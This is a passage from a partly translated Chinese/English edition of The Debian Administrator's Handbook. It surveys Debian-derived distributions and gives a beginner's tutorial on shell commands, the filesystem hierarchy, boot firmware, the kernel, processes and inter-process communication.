我们努力的将使用 Debian 的经验所教给我们的大量内容写入这本书，所以任何一个使用这个发行版的人都可以尽快地从中受益。我们希望这本书能为 Debian 减少混乱和更加流行而做一点贡献，我们也欢迎大家四处传播它！

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ https://www.gnurandal.com

再见!

附录 A. 衍生发行版

Many Linux distributions are derivatives of Debian and reuse Debian's package management tools. They all have their own interesting properties, and it is possible one of them will fulfill your needs better than Debian itself.

A.1. 调查和合作

Debian项目非常肯定衍生版本的重要性，并且积极支持所有参与方之间的合作。通常是通过合并衍生版开发的一些改进到Debian主线，这样其它的参与方也就能从中受益并且长远的减轻他们的维护工作量。

这就解释了为什么衍生版被邀请到了debian-derivatives@lists.debian.org邮件列表中参与讨论，并且参与了衍生版的调查。这些调查的目的是收集衍生版开发过程中的信息，以便官方 Debian 维护者更好地跟踪他们的软件包在 Debian 变种中的情况。

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

现在给大家简要的介绍一下最有意思和受欢迎的衍生版本。

A.2. Ubuntu

Ubuntu made quite a splash when it came on the free software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.

这样的目标是需要缩小关注范围的；Ubuntu 关注的软件包数量少于 Debian，且主要依赖于 GNOME 桌面（尽管还存在一个带有其它桌面环境的 Ubuntu 衍生版）。一切都是国际化的，且提供了很多种语言的支持。

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

实践 Ubuntu 的支持和维护承诺

Canonical 多次调整了一个给定发行版本的维护时间长度的支配规则。Canonical 作为一家公司，承诺为 Ubuntu 仓库中的 main 以及 restricted 类型的所有软件提供安全更新，对于LTS 版本时间是 5 年，对于非 LTS 版本则是 9 个月。除此之外的所有软件（在 universe 和 multiverse 中）由 MOTU 团队（Masters Of The Universe）尽最大的努力去维护。如果你依赖于后面那些类型的软件，你需要做好自行处理安全问题的准备。

Ubuntu 在普通大众中拥有广泛的用户。数以百万的用户对其安装之简单，桌面环境之易用留下了深刻的印象。

Ubuntu 和 Debian 过去曾经有过紧张的关系。由于 Canonical 市场要求 Ubuntu 成为自由软件界的良好公民与其实际操作中只是把应用于 Debian 软件包的改变简单公开的不同，让那些想让 Ubuntu 可以直接给 Debian 贡献而予以厚望的 Debian 开发者来说很失望。近年来情况有所好转，Ubuntu 现在的实际做法是把补丁提交到合适的地方。（尽管这只针对于它们打包的外部软件，不包括 Mir 或 Unity 之类的 Ubuntu 特定软件）。

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” (LMDE), which is based on Debian Stable with a few backports. LMDE is available for both 32 and 64-bit.

In both cases, the initial installation involves booting a live DVD or a live USB storage device.

这个发行版的目的是可以简化访问先进技术，在通用软件之上提供特定的图形用户界面。例如，尽管 Linux Mint 默认依赖 Cinnamon 来代替 GNOME（但是它还是包括了 MATE，以及 Xfce）；类似的，包管理界面，虽然是基于 APT 的，但是也提供了一个特定的的评估每次软件包升级风险的接口。

Linux Mint 包括了大量的用户可能用到的用于提升用户体验的专有软件。比如：Adobe Flash 和多媒体编解码器。

→ https://linuxmint.com/

A.4. Knoppix

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 1 GB of (compressed) software, and the DVD-ROM version has around 4.5 GB.

结合这个CD-ROM 和一个可以存储文件的 U 盘，你就可以在任何电脑上不留痕迹的工作了——记住一点这个发行版一点也不使用硬盘的。Knoppix 大多出是基于 LXDE（一个轻量级的图形桌面），但是 DVD 版本还包括 GNOME 和 Plasma。许多其他的发行版提供了其它桌面组件和软件包组合。这样的使用部分归功于live-build，Debian 软件包使得可以相对容易的制作一个 live CD。

→ https://live-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/

A.5. Aptosid 和 Siduction

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) aims at providing a live system that preserves anonymity and privacy. It takes great care in not leaving any trace on the computer it runs on, and uses the Tor network to connect to the Internet in the most anonymous way possible.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux 是基于 Debian 的发布版本，专注于渗透测试（简称为 “pentesting”）。它提供的软件有助于审查目前正在运行的网络或计算机的安全，并在攻击后进行分析（被称为 “计算机取证，computer forensics”）。

→ https://kali.org

A.9. Devuan

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console. Unfortunately this distribution hasn't seen any active development in the recent years.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The recent release of Raspbian for the arm64 architecture is no longer a rebuild, though. Instead it runs a pristine Debian Bullseye. The project just adds some extra packages, especially a custom kernel, to fully support the hardware.

→ https://raspbian.org

Debian also provides own images for several Raspberry Pi devices.

→ https://raspi.debian.net/

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers. The upcoming release 3.0 will, however, use Arch Linux as platform.

→ https://store.steampowered.com/steamos/

A.14. 其它更多

Distrowatch网站收集了大量Linux发行版，其中许多是基于Debian的。浏览这个网站是学习自由软件世界中的差异化的非常好的方法。

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In April 2021, selecting Debian led to 154 active distributions!

→ https://distrowatch.com/search.php

附录 B. 简短辅导课程

尽管这本书的主要目标用户是管理员和高级用户，但是我们也不想忽视初学者。这篇附录是一篇讲述操作Unix 计算机基础内容。

B.1. Shell 和基本命令

在Uinx 世界中，每一个管理员迟早都要使用命令行；例如，当系统可能启动失败后只给了一个命令行恢复模式。所以在这样的环境种能够使用命令行是一种基本的生存技能。

速览启动命令解释器

一个命令行环境可以从图形桌面开始运行，使用被称为“终端”的应用程序。在GNOME中，你可以从“活动”概览（即你将鼠标光标移动到屏幕左上角所得到的环境）中启动它，只需要键入应用程序名的前几个字符即可。在 Plasma 桌面环境（和许多其它类似桌面）中，你可以在应用程序 → 系统菜单中找到。

这一部分只会展示各个命令的简单用法，它们还有许多此处尚未描述的可用选项。请阅读它们对应的手册页，其中详细的文档可供你参考。

B.1.1. 浏览目录与管理文件

打开会话之后，pwd 命令（print working directory）会显示当前位置。当前目录可以通过 cd 目录命令（cd即change directory）。上级目录叫..（两个点），当前目录为.（一个点）。ls 命令会列举目录中的内容，若没有参数，则其将对当前目录进行操作。

$ pwd

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop    Downloads  Pictures  Templates

Documents  Music      Public    Videos

您可以使用 mkdir 目录名 命令创建一个新的目录，且可以使用 rmdir 目录名 命令删除一个已存在的（空的）目录。mv 命令可以移动和/或重命名文件和目录；删除一个文件可以使用 rm 文件名 命令来完成。

$ mkdir test

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public    test

$ mv test new

$ ls

Desktop    Downloads  new       Public     Videos

Documents  Music      Pictures  Templates

$ rmdir new

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public

B.1.2. 显示和修改文本文件

cat 文件名命令（用于连接（concatenate）文件并将内容送至标准输出设备）读取文件并将其内容显示在终端上。如果文件过大而不适合屏幕显示的话，可以使用一个分页器进行辅助，例如less（或者more）以按页在屏幕上显示内容。

命令 editor 会启动一个文本编辑器 (比如 vi 或者 nano)，并允许创建、修改 和读取文本文本。通过重定向，普通的文件可以直接被这些命令创建： echo "text" > file 会创建一个名为 file 的文件，内容为 “text”。也可以通过 echo "更多内容" >> file 在该文件末尾追加一行。注意本例中的 >>。

B.1.3. 搜索文件和在文件中搜索

find directory 条件 命令用于在 directory 目录下根据给定的 “条件” 搜索文件。最常用的条件是: -name 文件名，将设定 find 以文件名作为条件查找文件。

The grep expression files command searches the contents of the files and extracts the lines matching the regular expression (see sidebar 基本知识 正则表达式). Adding the -r option enables a recursive search on all files contained in the directory passed as a parameter. This allows looking for a file when only a part of the contents are known.

B.1.4. 管理进程

The ps aux command lists the processes currently running and helps identifying them by showing their pid (process id). Once the pid of a process is known, the kill -signal pid command allows sending it a signal (if the process belongs to the current user). Several signals exist; most commonly used are TERM (a request to terminate gracefully) and KILL (a forced kill).

The command interpreter can also run programs in the background if the command is followed by a “&”. By using the ampersand, the user resumes control of the shell immediately even though the command is still running (hidden from the user; as a background process). The jobs command lists the processes running in the background; running fg %job-number (for foreground) restores a job to the foreground. When a command is running in the foreground (either because it was started normally, or brought back to the foreground with fg), the Control+Z key combination pauses the process and resumes control of the command-line. The process can then be restarted in the background with bg %job-number (for background).

B.1.5. 系统信息：内存、磁盘空间、身份信息

The free command displays information on memory; df (disk free) reports on the available disk space on each of the disks mounted in the filesystem. Its -h option (for human readable) converts the sizes into a more legible unit (usually mebibytes or gibibytes). In a similar fashion, the free command supports the -m and -g options, and displays its data either in mebibytes or in gibibytes, respectively.

$ free

total        used        free      shared  buff/cache   available

Mem:       16279260     5910248      523432      871036     9845580     9128964

Swap:      16601084      240640    16360444

$ df

Filesystem                1K-blocks      Used Available Use% Mounted on

udev                        8108516         0   8108516   0% /dev

tmpfs                       1627928    161800   1466128  10% /run

/dev/mapper/vg_main-root  466644576 451332520  12919912  98% /

tmpfs                       8139628    146796   7992832   2% /dev/shm

tmpfs                          5120         4      5116   1% /run/lock

tmpfs                       8139628         0   8139628   0% /sys/fs/cgroup

/dev/sda1                    523248      1676    521572   1% /boot/efi

tmpfs                       1627924        88   1627836   1% /run/user/1000

The id command displays the identity of the user running the session, along with the list of groups they belong to. Since access to some files or devices may be limited to group members, checking available group membership may be useful.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. 文件系统层次结构的组织

B.2.1. 根目录

A Debian system is organized along the Filesystem Hierarchy Standard (FHS). This standard defines the purpose of each directory. For instance, the top-level directories are described as follows:

- /bin/：基本程序;

- /boot/: Linux 内核和在早期启动流程中需要的其它文件;

- /dev/: 设备文件;

- /etc/: 配置文件;

- /home/: 用户个人文件;

- /lib/:基础库;

- /media/*: 可移动设备挂载点 (CD-ROM, U 盘等等);

- /mnt/: 临时挂载点;

- /opt/: 有第三方提供的额外应用程序;

- /root/: 管理员（root）的个人文件;

- /run/: 易失性数据，在重启后不会存在;

- /sbin/: 系统程序;

- /srv/: 在这个系统上的服务使用的数据 ;

- /tmp/: 临时文件；这个目录在启动的时候经常被清空;

- /usr/: applications; this directory is further subdivided into bin, sbin, lib (according to the same logic as in the root directory). Furthermore, /usr/share/ contains architecture-independent data. /usr/local/ is meant to be used by the administrator for installing applications manually without overwriting files handled by the packaging system (dpkg).

- /var/: variable data handled by daemons. This includes log files, queues, spools, caches and so on.

- /proc/ and /sys/ are specific to the Linux kernel (and not part of the FHS). They are used by the kernel for exporting data to user space (see 第 B.3.4 节 “用户空间” and 第 B.5 节 “用户空间” for explanations about this concept).

Note that many modern distributions, Debian included, are shipping /bin, /sbin and /lib as symlinks to the corresponding directories below /usr so that all programs and libraries are available in a single tree. It makes it easier to protect the integrity of the system files, and to share those system files among multiple containers, etc.

B.2.2. 用户主目录

The contents of a user's home directory is not standardized, but there are still a few noteworthy conventions. One is that a user's home directory is often referred to by a tilde (“~”). That is useful to know because command interpreters automatically replace a tilde with the correct directory (usually /home/user/).

Traditionally, application configuration files are often stored directly under the user's home directory, but their names usually start with a dot (for instance, the mutt email client stores its configuration in ~/.muttrc). Note that filenames that start with a dot are hidden by default; and ls only lists them when the -a option is used, and graphical file managers need to be told to display hidden files.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directories. This specification states that configuration files should be stored under ~/.config/, cache files under ~/.cache/, and application data files under ~/.local/ (or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.

Graphical desktops usually display the contents of the ~/Desktop/ directory (or whatever the appropriate translation is for systems not configured in English) on the desktop (i.e. what is visible on screen once all applications are closed or iconized).

Finally, the email system sometimes stores incoming emails into a ~/Mail/ directory.

B.3. Inner Workings of a Computer: the Different Layers Involved

A computer is often considered as something rather abstract, and the externally visible interface is much simpler than its internal complexity. Such complexity comes in part from the number of pieces involved. However, these pieces can be viewed in layers, where a layer only interacts with those immediately above or below.

An end-user can get by without knowing these details… as long as everything works. When confronting a problem such as, “The internet doesn't work!”, the first thing to do is to identify in which layer the problem originates. Is the network card (hardware) working? Is it recognized by the computer? Does the Linux kernel see it? Are the network parameters properly configured? All these questions isolate an appropriate layer and focus on a potential source of the problem.

B.3.1. The Deepest Layer: the Hardware

Let us start with a basic reminder that a computer is, first and foremost, a set of hardware elements. There is generally a main board (known as the motherboard), with one (or more) processor(s), some RAM, device controllers, and extension slots for option boards (for other device controllers). Most noteworthy among these controllers are IDE (Parallel ATA), SCSI and Serial ATA, for connecting to storage devices such as hard disks. Other controllers include USB, which is able to host a great variety of devices (ranging from webcams to thermometers, from keyboards to home automation systems) and IEEE 1394 (Firewire). These controllers often allow connecting several devices so the complete subsystem handled by a controller is therefore usually known as a “bus”. Option boards include graphics cards (into which monitor screens will be plugged), sound cards, network interface cards, and so on. Some main boards are pre-built with these features, and don't need option boards.

IN PRACTICE Checking that the hardware works

Checking that a piece of hardware works can be tricky. On the other hand, proving that it doesn't work is sometimes quite simple.

A hard disk drive is made of spinning platters and moving magnetic heads. When a hard disk is powered up, the platter motor makes a characteristic whir. It also dissipates energy as heat. Consequently, a hard disk drive that stays cold and silent when powered up is broken.

Network cards often include LEDs displaying the state of the link. If a cable is plugged in and leads to a working network hub or switch, at least one LED will be on. If no LED lights up, either the card itself, the network device, or the cable between them, is faulty. The next step is therefore testing each component individually.

Some option boards — especially 3D video cards — include cooling devices, such as heat sinks and/or fans. If the fan does not spin even though the card is powered up, a plausible explanation is the card overheated. This also applies to the main processor(s) located on the main board.

B.3.2. 启动器：BIOS 或 UEFI

Hardware, on its own, is unable to perform useful tasks without a corresponding piece of software driving it. Controlling and interacting with the hardware is the purpose of the operating system and applications. These, in turn, require functional hardware to run.

This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, as you may have learned in 第 9.1 节 “系统启动”, in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.

工具 设置，BIOS/UEFI 配置工具

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select a USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2, F5, F8, or F10. Most of the time, the choice is flashed on screen while booting. If not, you best check the manual of your mainboard or your computer.

The boot sector (or the EFI partition), in turn, contains another piece of software, called the bootloader, whose purpose is to find and run an operating system. Since this bootloader is not embedded in the main board but loaded from disk, it can be smarter than the BIOS, which explains why the BIOS does not load the operating system by itself. For instance, the bootloader (often GRUB on Linux systems) can list the available operating systems and ask the user to choose one. Usually, a time-out and default choice is provided. Sometimes the user can also choose to add parameters to pass to the kernel, and so on. Eventually, a kernel is found, loaded into memory, and executed.

笔记 UEFI，一个 BIOS 的现代替代品

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

The BIOS/UEFI is also in charge of detecting and initializing a number of devices. Obviously, this includes the IDE/SATA devices (usually hard disk(s) and CD/DVD-ROM drives), but also PCI devices. Detected devices are often listed on screen during the boot process. If this list goes by too fast, use the Pause key to freeze it for long enough to read. Installed PCI devices that don't appear are a bad omen. At worst, the device is faulty. At best, it is merely incompatible with the current version of the BIOS or main board. PCI specifications evolve, and old main boards are not guaranteed to handle newer PCI devices.

B.3.3. 内核

Both the BIOS/UEFI and the bootloader only run for a few seconds each; now we are getting to the first piece of software that runs for a longer time, the operating system kernel. This kernel assumes the role of a conductor in an orchestra, and ensures coordination between hardware and software. This role involves several tasks including: driving hardware, managing processes, users and permissions, the filesystem, and so on. The kernel provides a common base to all other programs on the system.

B.3.4. 用户空间

Although everything that happens outside of the kernel can be lumped together under “user space”, we can still separate it into software layers. However, their interactions are more complex than before, and the classifications may not be as simple. An application commonly uses libraries, which in turn involve the kernel, but the communications can also involve other programs, or even many libraries calling each other.

B.4. 由内核处理的一些任务

B.4.1. 驱动硬件

The kernel is, first and foremost, tasked with controlling the hardware parts, detecting them, switching them on when the computer is powered on, and so on. It also makes them available to higher-level software with a simplified programming interface, so applications can take advantage of devices without having to worry about details such as which extension slot the option board is plugged into. The programming interface also provides an abstraction layer; this allows video-conferencing software, for example, to use a webcam independently of its make and model. The software can just use the Video for Linux (V4L) interface, and the kernel translates the function calls of this interface into the actual hardware commands needed by the specific webcam in use.

The kernel exports many details about detected hardware through the /proc/ and /sys/ virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.

例 B.1. 由 lspci 和 lsusb 提供的信息示例

$ lspci

[...]

00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05)

00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05)

00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04)

00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31)

00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31)

[...]

02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32)

03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01)

03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12)

04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983

$ lsusb

Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub

Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam

Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp.

Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse

Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

These programs have a -v option that lists much more detailed (but usually not necessary) information. Finally, the lsdev command (in the procinfo package) lists communication resources used by devices.

Applications often access devices by way of special files created within /dev/ (see sidebar 基本知识 设备访问权限). These are special files that represent disk drives (for instance, /dev/hda and /dev/sdc), partitions (/dev/hda1 or /dev/sdc3), mice (/dev/input/mouse0), keyboards (/dev/input/event0), soundcards (/dev/snd/*), serial ports (/dev/ttyS*), and so on.

B.4.2. 文件系统

Filesystems are one of the most prominent aspects of the kernel. Unix systems merge all the file stores into a single hierarchy, which allows users (and applications) to access data simply by knowing its location within that hierarchy.

The starting point of this hierarchical tree is called the root, /. This directory can contain named subdirectories. For instance, the home subdirectory of / is called /home/. This subdirectory can, in turn, contain other subdirectories, and so on. Each directory can also contain files, where the actual data will be stored. Thus, the /home/rmas/Desktop/hello.txt name refers to a file named hello.txt stored in the Desktop subdirectory of the rmas subdirectory of the home directory present in the root. The kernel translates between this naming system and the actual, physical storage on a disk.

Unlike other systems, there is only one such hierarchy, and it can integrate data from several disks. One of these disks is used as the root, and the others are “mounted” on directories in the hierarchy (the Unix command is called mount); these other disks are then available under these “mount points”. This allows storing users' home directories (traditionally stored within /home/) on a second hard disk, which will contain the rhertzog and rmas directories. Once the disk is mounted on /home/, these directories become accessible at their usual locations, and paths such as /home/rmas/Desktop/hello.txt keep working.

There are many filesystem formats, corresponding to many ways of physically storing data on disks. The most widely known are ext3 and ext4, but others exist. For instance, vfat is the system that was historically used by DOS and Windows operating systems, which allows using hard disks under Debian as well as under Windows. In any case, a filesystem must be prepared on a disk before it can be mounted and this operation is known as “formatting”. Commands such as mkfs.ext3 (where mkfs stands for MaKe FileSystem) handle formatting. These commands require, as a parameter, a device file representing the partition to be formatted (for instance, /dev/sda1). This operation is destructive and should only be run once, except if one deliberately wishes to wipe a filesystem and start afresh.

There are also network filesystems, such as NFS, where data is not stored on a local disk. Instead, data is transmitted through the network to a server that stores and retrieves them on demand. The filesystem abstraction shields users from having to care: files remain accessible in their usual hierarchical way.

B.4.3. 共享功能

Since a number of the same functions are used by all software, it makes sense to centralize them in the kernel. For instance, shared filesystem handling allows any application to simply open a file by name, without needing to worry where the file is stored physically. The file can be stored in several different slices on a hard disk, or split across several hard disks, or even stored on a remote file server. Shared communication functions are used by applications to exchange data independently of the way the data is transported. For instance, transport could be over any combination of local or wireless networks, or over a telephone landline.

B.4.4. 管理进程

A process is a running instance of a program. This requires memory to store both the program itself and its operating data. The kernel is in charge of creating and tracking them. When a program runs, the kernel first sets aside some memory, then loads the executable code from the filesystem into it, and then starts the code running. It keeps information about this process, the most visible of which is an identification number known as pid (process identifier).

Unix-like kernels (including Linux), like most other modern operating systems, are capable of “multi-tasking”. In other words, they allow running many processes “at the same time”. There is actually only one running process at any one time, but the kernel cuts time into small slices and runs each process in turn. Since these time slices are very short (in the millisecond range), they create the illusion of processes running in parallel, although they are actually only active during some time intervals and idle the rest of the time. The kernel's job is to adjust its scheduling mechanisms to keep that illusion, while maximizing the global system performance. If the time slices are too long, the application may not appear as responsive as desired. Too short, and the system loses time switching tasks too frequently. These decisions can be tweaked with process priorities. High-priority processes will run for longer and with more frequent time slices than low-priority processes.

注解 多处理器系统（和变体）

The limitation described above of only one process being able to run at a time, doesn't always apply. The actual restriction is that there can only be one running process per processor core at a time. Multi-processor, multi-core or “hyper-threaded” systems allow several processes to run in parallel. The same time-slicing system is still used, though, so as to handle cases where there are more active processes than available processor cores. This is far from unusual: a basic system, even a mostly idle one, almost always has tens of running processes.

Of course, the kernel allows running several independent instances of the same program. But each can only access its own time slices and memory. Their data thus remain independent.

B.4.5. 管理权限

Unix-like systems are also multi-user. They provide a rights management system that supports separate users and groups; it also allows control over actions based on permissions. The kernel manages data for each process, allowing it to control permissions. Most of the time, a process is identified by the user who started it. That process is only permitted to take those actions available to its owner. For instance, trying to open a file requires the kernel to check the process identity against access permissions (for more details on this particular example, see 第 9.3 节 “管理权限”).

B.5. 用户空间

“User space” refers to the runtime environment of normal (as opposed to kernel) processes. This does not necessarily mean these processes are actually started by users because a standard system normally has several “daemon” (or background) processes running before the user even opens a session. Daemon processes are also considered user-space processes.

B.5.1. 进程

When the kernel gets past its initialization phase, it starts the very first process, init. Process #1 alone is very rarely useful by itself, and Unix-like systems run with many additional processes.

First of all, a process can clone itself (this is known as a fork). The kernel allocates a new (but identical) process memory space, and another process to use it. At this time, the only difference between these two processes is their pid. The new process is usually called a child process, and the original process whose pid doesn't change, is called the parent process.

Sometimes, the child process continues to lead its own life independently from its parent, with its own data copied from the parent process. In many cases, though, this child process executes another program. With a few exceptions, its memory is simply replaced by that of the new program, and execution of this new program begins. This is the mechanism used by the init process (with process number 1) to start additional services and execute the whole startup sequence. At some point, one process among init's offspring starts a graphical interface for users to log in to (the actual sequence of events is described in more details in 第 9.1 节 “系统启动”).

When a process finishes the task for which it was started, it terminates. The kernel then recovers the memory assigned to this process, and stops giving it slices of running time. The parent process is told about its child process being terminated, which allows a process to wait for the completion of a task it delegated to a child process. This behavior is plainly visible in command-line interpreters (known as shells). When a command is typed into a shell, the prompt only comes back when the execution of the command is over. Most shells allow for running the command in the background, it is a simple matter of adding an & to the end of the command. The prompt is displayed again right away, which can lead to problems if the command needs to display data of its own.

B.5.2. 后台守护进程（daemon）

A “daemon” is a process started automatically by the boot sequence. It keeps running (in the background) to perform maintenance tasks or provide services to other processes. This “background task” is actually arbitrary, and does not match anything particular from the system's point of view. They are simply processes, quite similar to other processes, which run in turn when their time slice comes. The distinction is only in the human language: a process that runs with no interaction with a user (in particular, without any graphical interface) is said to be running “in the background” or “as a daemon”.

VOCABULARY Daemon, demon, a derogatory term?

Although daemon term shares its Greek etymology with demon, the former does not imply diabolical evil, instead, it should be understood as a kind of helper spirit. This distinction is subtle enough in English; it is even worse in other languages where the same word is used for both meanings.

Several such daemons are described in detail in 第 9 章 Unix 服务.

B.5.3. 进程间通信

An isolated process, whether a daemon or an interactive application, is rarely useful on its own, which is why there are several methods allowing separate processes to communicate together, either to exchange data or to control one another. The generic term referring to this is inter-process communication, or IPC for short.

The simplest IPC system is to use files. The process that wishes to send data writes it into a file (with a name known in advance), while the recipient only has to open the file and read its contents.

In the case where you do not wish to store data on disk, you can use a pipe, which is simply an object with two ends; bytes written in one end are readable at the other. If the ends are controlled by separate processes, this leads to a simple and convenient inter-process communication channel. Pipes can be classified into two categories: named pipes, and anonymous pipes. A named pipe is represented by an entry on the filesystem (although the transmitted data is not stored there), so both processes can open it independently if the location of the named pipe is known beforehand. In cases where the communicating processes are related (for instance, a parent and its child process), the parent process can also create an anonymous pipe before forking, and the child inherits it. Both processes will then be able to exchange data through the pipe without needing the filesystem.

IN PRACTICE A concrete example

Let's describe in some detail what happens when a complex command (a pipeline) is run from a shell. We assume we have a bash process (the standard user shell on Debian), with pid 4374; into this shell, we type the command: ls | sort .

The shell first interprets the command typed in. In our case, it understands there are two programs (ls and sort), with a data stream flowing from one to the other (denoted by the | character, known as pipe). bash first creates an unnamed pipe (which initially exists only within the bash process itself).

Then the shell clones itself; this leads to a new bash process, with pid #4521 (pids are abstract numbers, and generally have no particular meaning). Process #4521 inherits the pipe, which means it is able to write in its “input” side; bash redirects its standard output stream to this pipe's input. Then it executes (and replaces itself with) the ls program, which lists the contents of the current directory. Since ls writes on its standard output, and this output has previously been redirected, the results are effectively sent into the pipe.

